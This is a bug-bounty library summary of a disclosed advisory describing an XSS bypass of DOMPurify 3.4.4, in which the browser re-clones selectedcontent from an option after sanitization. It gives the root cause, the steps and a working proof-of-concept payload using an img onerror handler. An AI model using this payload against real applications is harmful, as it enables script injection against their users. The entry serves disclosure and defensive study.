# DOMPurify XSS via selectedcontent re-clone

DOMPurify 3.4.4 allows selectedcontent by default; browsers re-clone the option's content after sanitization, reintroducing an onerror XSS payload.

- Payout: Research
- Severity: high
- Program: DOMPurify
- Found by: KabirAcharya
- Disclosed: 2026-06-01
- CVE: CVE-2026-47423
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-87xg-pxx2-7hvx
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-87xg-pxx2-7hvx
- Tags: area:os domain:browser domain:web impact:integrity kind:research platform:ghsa sev:high tech:chromium technique:chained technique:source-review vuln:xss

**Target:** DOMPurify sanitizer string-input path (npm:dompurify)
**Root cause:** DOMPurify permits the <selectedcontent> element by default; the browser regenerates its clone from the original <option> after DOMPurify has already walked and removed the payload from the option, leaving unsanitized markup in an already-visited subtree.
**Steps:**
1. Pass dirty HTML to `DOMPurify.sanitize(dirty)` where dirty = `<select><button><selectedcontent></selectedcontent></button><option selected=javascript:1><img src=x onerror=alert(1)>x</option></select>`
2. Browser parses input and creates a <selectedcontent> clone from the selected <option>
3. DOMPurify walks and sanitizes the generated clone, then reaches the original <option> and removes `selected=javascript:1`
4. Browser refreshes the <selectedcontent> clone from the original option's content, reintroducing the payload into an already-walked subtree
5. Returned string contains `<img src="x" onerror="alert(1)">` inside <selectedcontent>
6. Assign `document.body.innerHTML = clean`; onerror fires before the browser strips the handler from the displayed clone
**How found:** Researcher noticed DOMPurify allows selectedcontent by default and reasoned that the browser's live re-cloning of selectedcontent from the source option could reintroduce content after DOMPurify's single forward walk, then built a select/button/selectedcontent/option chain to test it.
**Exploitation:** Attacker supplies HTML through any sink that sanitizes with DOMPurify 3.4.4 string-input path and inserts the result via innerHTML; the re-cloned selectedcontent carries the onerror handler which executes on insertion.
**Insight:** When a sanitizer walks a DOM once, any element whose content the browser regenerates from another node (like selectedcontent cloning from option) can reintroduce payloads into already-visited subtrees; test live-cloning elements and mutation-after-sanitize behavior.

## Proof of concept (copied exactly from the original report)

**DOMPurify sanitize call with selectedcontent payload**

```
const dirty =
  '<select><button><selectedcontent></selectedcontent></button>' +
  '<option selected=javascript:1>' +
  '<img src=x onerror=alert(1)>x' +
  '</option></select>';

const clean = DOMPurify.sanitize(dirty);
console.log(clean);

document.body.innerHTML = clean;
```

